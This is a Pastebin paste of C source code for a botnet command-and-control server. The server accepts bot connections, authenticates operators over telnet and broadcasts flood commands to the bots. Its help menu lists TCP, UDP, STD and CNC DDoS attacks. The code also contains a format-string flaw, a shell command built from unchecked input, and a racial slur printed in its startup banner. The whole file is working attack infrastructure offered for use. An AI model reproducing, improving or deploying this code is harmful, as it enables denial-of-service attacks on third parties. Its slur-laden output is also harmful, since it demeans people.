Advertisement
Guest User

Untitled

a guest
Sep 28th, 2017
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.26 KB | None | 0 0
  1. //remastered by Jonah
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <netdb.h>
  8. #include <unistd.h>
  9. #include <time.h>
  10. #include <fcntl.h>
  11. #include <sys/epoll.h>
  12. #include <errno.h>
  13. #include <pthread.h>
  14. #include <signal.h>
  15. #include <ctype.h>
  16. #define MAXFDS 1000000
  17. #define RED "\x1b[0;31m"
  18. #define GREEN "\x1b[0;32m"
  19. #define C_RESET "\x1b[0m"
  20. char *colorCodes[] = {"31m", "32m", "33m", "34m", "35m", "36m"};
  21.  
  22. //change this to whatever you like, but if you dont want them sharing there login
  23. //change the 2 to 1.
  24. int Max_Logins = 2; //2 users per login
  25.  
  26.  
  27. struct account {
  28. char id[25];
  29. char password[25];
  30. };
  31. static struct account accounts[25];
  32.  
  33. struct clientdata_t {
  34. uint32_t ip;
  35. char build[7];
  36. char connected;
  37. } clients[MAXFDS];
  38.  
  39. struct telnetdata_t {
  40. uint32_t ip;
  41. int connected;
  42. } managements[MAXFDS];
  43.  
  44. ////////////////////////////////////
  45.  
  46. static volatile FILE *fileFD;
  47. static volatile int epollFD = 0;
  48. static volatile int listenFD = 0;
  49. static volatile int managesConnected = 0;
  50. static volatile int AccountCheck = 0;
  51. static volatile int DUPESDELETED = 0;
  52.  
  53. ////////////////////////////////////
  54.  
  55.  
  56. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  57. {
  58. int total = 0, got = 1;
  59. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  60. return got;
  61. }
  62. void trim(char *str)
  63. {
  64. int i;
  65. int begin = 0;
  66. int end = strlen(str) - 1;
  67. while (isspace(str[begin])) begin++;
  68. while ((end >= begin) && isspace(str[end])) end--;
  69. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  70. str[i - begin] = '\0';
  71. }
  72.  
  73.  
  74. static int make_socket_non_blocking (int sfd)
  75. {
  76. int flags, s;
  77. flags = fcntl (sfd, F_GETFL, 0);
  78. if (flags == -1)
  79. {
  80. perror ("fcntl");
  81. return -1;
  82. }
  83. flags |= O_NONBLOCK;
  84. s = fcntl (sfd, F_SETFL, flags);
  85. if (s == -1)
  86. {
  87. perror ("fcntl");
  88. return -1;
  89. }
  90. return 0;
  91. }
  92.  
  93.  
  94. static int create_and_bind (char *port)
  95. {
  96. struct addrinfo hints;
  97. struct addrinfo *result, *rp;
  98. int s, sfd;
  99. memset (&hints, 0, sizeof (struct addrinfo));
  100. hints.ai_family = AF_UNSPEC;
  101. hints.ai_socktype = SOCK_STREAM;
  102. hints.ai_flags = AI_PASSIVE;
  103. s = getaddrinfo (NULL, port, &hints, &result);
  104. if (s != 0)
  105. {
  106. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  107. return -1;
  108. }
  109. for (rp = result; rp != NULL; rp = rp->ai_next)
  110. {
  111. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  112. if (sfd == -1) continue;
  113. int yes = 1;
  114. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  115. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  116. if (s == 0)
  117. {
  118. break;
  119. }
  120. close (sfd);
  121. }
  122. if (rp == NULL)
  123. {
  124. fprintf (stderr, "Could not bind\n");
  125. return -1;
  126. }
  127. freeaddrinfo (result);
  128. return sfd;
  129. }
  130. void broadcast(char *msg, int us, char *sender)
  131. {
  132. int sendMGM = 1;
  133. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  134. char *wot = malloc(strlen(msg) + 10);
  135. memset(wot, 0, strlen(msg) + 10);
  136. strcpy(wot, msg);
  137. trim(wot);
  138. time_t rawtime;
  139. struct tm * timeinfo;
  140. time(&rawtime);
  141. timeinfo = localtime(&rawtime);
  142. char *timestamp = asctime(timeinfo);
  143. trim(timestamp);
  144. int i;
  145. for(i = 0; i < MAXFDS; i++)
  146. {
  147. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  148. if(sendMGM && managements[i].connected)
  149. {
  150. send(i, "\x1b[31mID:", 8, MSG_NOSIGNAL);
  151. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  152. send(i, " ", 1, MSG_NOSIGNAL);
  153. send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  154. send(i, ": ", 2, MSG_NOSIGNAL);
  155. }
  156. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  157. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[32m-> \x1b[0m", 13, MSG_NOSIGNAL);
  158. else send(i, "\n", 1, MSG_NOSIGNAL);
  159. }
  160. free(wot);
  161. }
  162.  
  163. void *epollEventLoop(void *useless)
  164. {
  165. struct epoll_event event;
  166. struct epoll_event *events;
  167. int s;
  168. events = calloc (MAXFDS, sizeof event);
  169. while (1)
  170. {
  171. int n, i;
  172. n = epoll_wait (epollFD, events, MAXFDS, -1);
  173. for (i = 0; i < n; i++)
  174. {
  175. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  176. {
  177. clients[events[i].data.fd].connected = 0;
  178. close(events[i].data.fd);
  179. continue;
  180. }
  181. else if (listenFD == events[i].data.fd)
  182. {
  183. while (1)
  184. {
  185. struct sockaddr in_addr;
  186. socklen_t in_len;
  187. int infd, ipIndex;
  188.  
  189. in_len = sizeof in_addr;
  190. infd = accept (listenFD, &in_addr, &in_len);
  191. if (infd == -1)
  192. {
  193. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  194. else
  195. {
  196. perror ("accept");
  197. break;
  198. }
  199. }
  200.  
  201.  
  202. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr; int maxtt = 0;
  203. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++){
  204. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  205. if(clients[ipIndex].ip == clients[infd].ip) { maxtt = 1;
  206. break;
  207. }
  208. }
  209. if(maxtt)
  210. {
  211. continue;
  212. }
  213. s = make_socket_non_blocking (infd);
  214. if (s == -1) { close(infd); break; }
  215.  
  216. event.data.fd = infd;
  217. event.events = EPOLLIN | EPOLLET;
  218. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  219. if (s == -1)
  220. {
  221. perror ("epoll_ctl");
  222. close(infd);
  223. break;
  224. }
  225.  
  226. clients[infd].connected = 1;
  227. send(infd, "!* SC ON\n", 9, MSG_NOSIGNAL);
  228.  
  229. }
  230. continue;
  231. }
  232. else
  233. {
  234. int thefd = events[i].data.fd;
  235. struct clientdata_t *client = &(clients[thefd]);
  236. int done = 0;
  237. client->connected = 1;
  238. while (1)
  239. {
  240. ssize_t count;
  241. char buf[2048];
  242. memset(buf, 0, sizeof buf);
  243.  
  244. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  245. {
  246. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  247. trim(buf);
  248. if(strcmp(buf, "PING") == 0) {
  249. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  250. continue; }
  251. if(strcmp(buf, "PONG") == 0) {
  252. continue; }
  253. printf("buf: \"%s\"\n", buf); }
  254.  
  255. if (count == -1)
  256. {
  257. if (errno != EAGAIN)
  258. {
  259. done = 1;
  260. }
  261. break;
  262. }
  263. else if (count == 0)
  264. {
  265. done = 1;
  266. break;
  267. }
  268. }
  269.  
  270. if (done)
  271. {
  272. client->connected = 0;
  273. close(thefd);
  274. }
  275. }
  276. }
  277. }
  278. }
  279.  
  280. unsigned int clientsConnected()
  281. {
  282. int i = 0, total = 0;
  283. for(i = 0; i < MAXFDS; i++)
  284. {
  285. if(!clients[i].connected) continue;
  286. total++;
  287. }
  288.  
  289. return total * 2;
  290. }
  291.  
  292. void *titleWriter(void *sock)
  293. {
  294. int thefd = (long int)sock;
  295. char string[2048];
  296. while(1)
  297. {
  298. memset(string, 0, 2048);
  299. sprintf(string, "%c]0;[+] Bots Online: %d [-] Users Online: %d [+]%c", '\033', clientsConnected(), managesConnected, '\007');
  300. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1);
  301.  
  302. sleep(2);
  303. }
  304. }
  305.  
  306. int Search_in_File(char *str)
  307. {
  308. FILE *fp;
  309. int line_num = 0;
  310. int find_result = 0, find_line=0;
  311. char temp[512];
  312.  
  313. if((fp = fopen("login.txt", "r")) == NULL){
  314. return(-1);
  315. }
  316. while(fgets(temp, 512, fp) != NULL){
  317. if((strstr(temp, str)) != NULL){
  318. find_result++;
  319. find_line = line_num;
  320. }
  321. line_num++;
  322. }
  323. if(fp)
  324. fclose(fp);
  325.  
  326. if(find_result == 0)return 0;
  327.  
  328. return find_line;
  329. }
  330. void client_addr(struct sockaddr_in addr){
  331. printf("IP:%d.%d.%d.%d\n",
  332. addr.sin_addr.s_addr & 0xFF,
  333. (addr.sin_addr.s_addr & 0xFF00)>>8,
  334. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  335. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  336. FILE *logFile;
  337. logFile = fopen("server.log", "a");
  338. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  339. addr.sin_addr.s_addr & 0xFF,
  340. (addr.sin_addr.s_addr & 0xFF00)>>8,
  341. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  342. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  343. fclose(logFile);
  344. }
  345.  
  346. void *telnetWorker(void *sock) {
  347. int thefd = (long int)sock;
  348. managesConnected++;
  349. int find_line;
  350. pthread_t title;
  351. char counter[2048];
  352. memset(counter, 0, 2048);
  353. char buf[2048];
  354. char* nickstring;
  355. char usernamez[80];
  356. char* password;
  357. char* admin;
  358. memset(buf, 0, sizeof buf);
  359. char botnet[2048];
  360. memset(botnet, 0, 2048);
  361.  
  362. FILE *fp;
  363. int i=0;
  364. int c;
  365. fp=fopen("login.txt", "r"); // format: user pass
  366. while(!feof(fp))
  367. {
  368. c=fgetc(fp);
  369. ++i;
  370. }
  371. int j=0;
  372. rewind(fp);
  373. while(j!=i-1)
  374. {
  375. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  376. ++j;
  377. }
  378. sprintf(botnet, "\x1b[%sUsername: \x1b[30m", colorCodes[(rand() % 6)]);
  379. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  380. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  381. trim(buf);
  382. sprintf(usernamez, buf);
  383. nickstring = ("%s", buf);
  384. find_line = Search_in_File(nickstring);
  385.  
  386. if(strcmp(nickstring, accounts[find_line].id) == 0){
  387. sprintf(botnet, ""RED"Welcome User\r\n");
  388. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  389. sprintf(botnet, "\x1b[%sPassword: \x1b[30m", colorCodes[(rand() % 6)]);
  390. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  391. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  392. if (AccountCheck == Max_Logins)
  393. {
  394. printf("Too many Users Logged in at once\n");
  395. goto end;
  396. }
  397. trim(buf);
  398. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  399. memset(buf, 0, 2048);
  400. goto fak;
  401. }
  402. failed:
  403. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  404. goto end;
  405. fak:
  406.  
  407. pthread_create(&title, NULL, &titleWriter, sock);
  408. sprintf(botnet, "\r\n \x1b[%s\r\n", colorCodes[(rand() % 6)]);
  409. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  410. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  411. if (send(thefd, " `7MMF' `7MMF' `7MM OO\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  412. if (send(thefd, " MM MM MM 88\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  413. if (send(thefd, " MM MM ,6'Yb. ,p6'bo MM ,MP'.gP'Ya `7Mb,od8 ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  414. if (send(thefd, " MMmmmmmmMM 8) MM 6M' OO MM ;Y ,M' Yb MM' '' ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  415. if (send(thefd, " MM MM ,pm9MM 8M MM;Mm 8M'''''' MM `'\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  416. if (send(thefd, " MM MM 8M MM YM. , MM `Mb.YM. , MM ,,\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  417. if (send(thefd, " .JMML. .JMML.`Moo9^Yo.YMbmd'.JMML. YA.`Mbmmd'.JMML. db \r\n", 69, MSG_NOSIGNAL) == -1) goto end;
  418. sprintf(botnet, "\r\n \x1b[37m[+]-\x1b[%sWelcome %s To The Hacker Net\x1b[37m-[+]\r\n\r\n-> ", colorCodes[(rand() % 6)], usernamez);
  419. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  420. pthread_create(&title, NULL, &titleWriter, sock);
  421. managements[thefd].connected = 1;
  422. AccountCheck++;
  423. while(fdgets(buf, sizeof buf, thefd) > 0)
  424. {
  425. if (strncmp(buf, "SHOW", 4) == 0 || strncmp(buf, "BOTS", 4) == 0 || strncmp(buf, "bots", 4) == 0)
  426. {
  427. sprintf(botnet, "Bots Online: \x1b[%s[%d]"C_RESET"\r\nUsers Online: \x1b[%s[%d]"C_RESET"\r\nDupes Deleted: \x1b[%s[%d]"C_RESET"\r\n",colorCodes[(rand() % 6)], clientsConnected(), colorCodes[(rand() % 6)], managesConnected, colorCodes[(rand() % 6)], DUPESDELETED);
  428. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  429. }
  430.  
  431. if (strncmp(buf, "HELP", 4) == 0 || strncmp(buf, "help", 4) == 0 || strncmp(buf, "menu", 4) == 0)
  432. {
  433. sprintf(botnet, "\x1b[37m[+\x1b[36m]Attack Commands----------------------------------\x1b[37m\r\n\x1b[37m!* TCP [IP] [PORT] [TIME] 32 all 0 1 | TCP FLOOD\r\n\x1b[37m!* UDP [IP] [PORT] [TIME] 32 0 1 | UDP FLOOD\r\n\x1b[37m!* STD [IP] [PORT] [TIME] | STD FLOOD\r\n\x1b[37m!* CNC [IP] [ADMIN PORT] [TIME] | CNC FLOOD\r\n");
  434. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  435. sprintf(botnet, "\x1b[37m[+]\x1b[36mExtra Commands-----------------------------------\x1b[37m\r\n\x1b[37m!* KILLATTK | KILLS ALL ATTACKS\r\n");
  436. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  437. sprintf(botnet, "\x1b[37m[+]\x1b[36mTerminal Commands----------------------------------\x1b[37m\r\n\x1b[37mBOTS | SHOWS BOT COUNT\r\n\x1b[37mCLS | CLEARS YOUR SCREEN\r\n");
  438. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  439. }
  440.  
  441. if (strncmp(buf, "!* STD", 6) == 0 || strncmp(buf, "!* UDP", 6) == 0 || strncmp(buf, "!* TCP", 6) == 0)
  442. {
  443. int hax;
  444. if(send(thefd, "B=====D ", 8, MSG_NOSIGNAL) == -1) goto end;
  445. if(send(thefd, " ~", 2, MSG_NOSIGNAL) == -1) goto end;
  446. for (hax = 3; hax > 0; --hax) {
  447. sleep(1);
  448. if(send(thefd, " ~", 2, MSG_NOSIGNAL) == -1) goto end;
  449. }
  450. if(send(thefd, "\r\nCousin Has Been Fucked!!!\r\n", 29, MSG_NOSIGNAL) == -1) goto end;
  451. }
  452. if (strncmp(buf, "CLEAR", 5) == 0 || strncmp(buf, "clear", 5) == 0 || strncmp(buf, "cls", 3) == 0 || strncmp(buf, "CLS", 3) == 0)
  453. {
  454. sprintf(botnet, "\r\n \x1b[%s\r\n", colorCodes[(rand() % 6)]);
  455. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  456. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  457. if (send(thefd, " `7MMF' `7MMF' `7MM OO\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  458. if (send(thefd, " MM MM MM 88\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  459. if (send(thefd, " MM MM ,6'Yb. ,p6'bo MM ,MP'.gP'Ya `7Mb,od8 ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  460. if (send(thefd, " MMmmmmmmMM 8) MM 6M' OO MM ;Y ,M' Yb MM' '' ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  461. if (send(thefd, " MM MM ,pm9MM 8M MM;Mm 8M'''''' MM `'\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  462. if (send(thefd, " MM MM 8M MM YM. , MM `Mb.YM. , MM ,,\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  463. if (send(thefd, " .JMML. .JMML.`Moo9^Yo.YMbmd'.JMML. YA.`Mbmmd'.JMML. db \r\n", 69, MSG_NOSIGNAL) == -1) goto end;
  464. sprintf(botnet, "\r\n \x1b[37m[+]-\x1b[%sWelcome %s To The Hacker Net\x1b[37m-[+]\r\n\r\n", colorCodes[(rand() % 6)], usernamez);
  465. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  466. pthread_create(&title, NULL, &titleWriter, sock);
  467. }
  468. if (strstr(buf, "LOLNOGTFO"))
  469. {
  470. printf("%s tried killing bots...", usernamez);
  471. FILE *killFile;
  472. killFile = fopen("KILL.log", "a");
  473. fprintf(killFile, "Username: %s Buffer: Tried Killing Bots!\n", usernamez);
  474. fclose(killFile);
  475. goto end;
  476. /* code */
  477. }
  478. if (strstr(buf, "SH"))
  479. {
  480. /* code */
  481. printf("%s tried sh'ing bots...", usernamez);
  482. FILE *shFile;
  483. shFile = fopen("SH.log", "a");
  484. fprintf(shFile, "Username: %s Buffer: Tried SH'ing Bots!\n", usernamez);
  485. fclose(shFile);
  486. goto end;
  487. }
  488. if (strncmp(buf, "exit", 4) == 0 || strncmp(buf, "EXIT", 4) == 0 || strncmp(buf, "LOGOUT", 6) == 0)
  489. {
  490. goto end;
  491. }
  492. trim(buf);
  493. sprintf(botnet, "\x1b[%s-> \x1b[0m", colorCodes[(rand() % 6)]);
  494. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  495. if(strlen(buf) == 0) continue;
  496. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  497. FILE *logFile;
  498. logFile = fopen("server.log", "a");
  499. fprintf(logFile, "%s: \"%s\"\n", accounts[find_line].id, buf);
  500. fclose(logFile);
  501. broadcast(buf, thefd, usernamez);
  502. memset(buf, 0, 2048);
  503. }
  504.  
  505. end: // cleanup dead socket
  506. managements[thefd].connected = 0;
  507. close(thefd);
  508. managesConnected--;
  509. AccountCheck--;
  510. }
  511.  
  512. void *telnetListener(int port)
  513. {
  514. int sockfd, newsockfd;
  515. socklen_t clilen;
  516. struct sockaddr_in serv_addr, cli_addr;
  517. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  518. if (sockfd < 0) perror("ERROR opening socket");
  519. bzero((char *) &serv_addr, sizeof(serv_addr));
  520. serv_addr.sin_family = AF_INET;
  521. serv_addr.sin_addr.s_addr = INADDR_ANY;
  522. serv_addr.sin_port = htons(port);
  523. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  524. listen(sockfd,5);
  525. clilen = sizeof(cli_addr);
  526. while(1)
  527.  
  528. { printf("Connecting To Server: ");
  529. client_addr(cli_addr);
  530. FILE *logFile;
  531. logFile = fopen("IP.log", "a");
  532. fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  533. fclose(logFile);
  534. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  535. if (newsockfd < 0) perror("ERROR on accept");
  536. pthread_t thread;
  537. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  538. }
  539. }
  540.  
  541. int main (int argc, char *argv[], void *sock)
  542. {
  543. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  544.  
  545. int s, threads, port;
  546. struct epoll_event event;
  547. char Username[20], Password[20];
  548. #ifdef User
  549. printf("Please Enter Username: ");
  550. scanf("%s",Username);
  551. printf("Please Enter Password: ");
  552. scanf("%s",Password);
  553. char hahaha[80];
  554. sprintf(hahaha, "echo %s %s >> login.txt", Username, Password);
  555. system(hahaha);
  556. #endif
  557. if (argc != 4)
  558. {
  559. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  560. exit (EXIT_FAILURE);
  561. }
  562. port = atoi(argv[3]);
  563. threads = atoi(argv[2]);
  564. if (threads > 850)
  565. {
  566. printf("Are You Dumb? Lower the Threads\n");
  567. return 0;
  568. }
  569. else if (threads < 850)
  570. {
  571. printf("Good Choice in Threading\n");
  572. }
  573. #ifdef User
  574. printf(RED "Enjoy The Command & Control\nIn "GREEN"Niggers"RED" We Trust\nUsername: %s\nPassword: %s\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", Username, Password, port, threads);
  575. #endif
  576. printf(RED "Enjoy The Command & Control\nIn "GREEN"Niggers"RED" We Trust\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", port, threads);
  577.  
  578. listenFD = create_and_bind(argv[1]); // try to create a listening socket, die if we can't
  579. if (listenFD == -1) abort();
  580.  
  581. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  582. if (s == -1) abort();
  583.  
  584. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  585. if (s == -1)
  586. {
  587. perror ("listen");
  588. abort ();
  589. }
  590.  
  591. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  592. if (epollFD == -1)
  593. {
  594. perror ("epoll_create");
  595. abort ();
  596. }
  597.  
  598. event.data.fd = listenFD;
  599. event.events = EPOLLIN | EPOLLET;
  600. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  601. if (s == -1)
  602. {
  603. perror ("epoll_ctl");
  604. abort ();
  605. }
  606.  
  607. pthread_t thread[threads + 2];
  608. while(threads--)
  609. {
  610. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  611. }
  612.  
  613. pthread_create(&thread[0], NULL, &telnetListener, port);
  614.  
  615. while(1)
  616. {
  617. broadcast("PING", -1, "STRING");
  618. sleep(60);
  619. }
  620.  
  621. close (listenFD);
  622.  
  623. return EXIT_SUCCESS;
  624. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement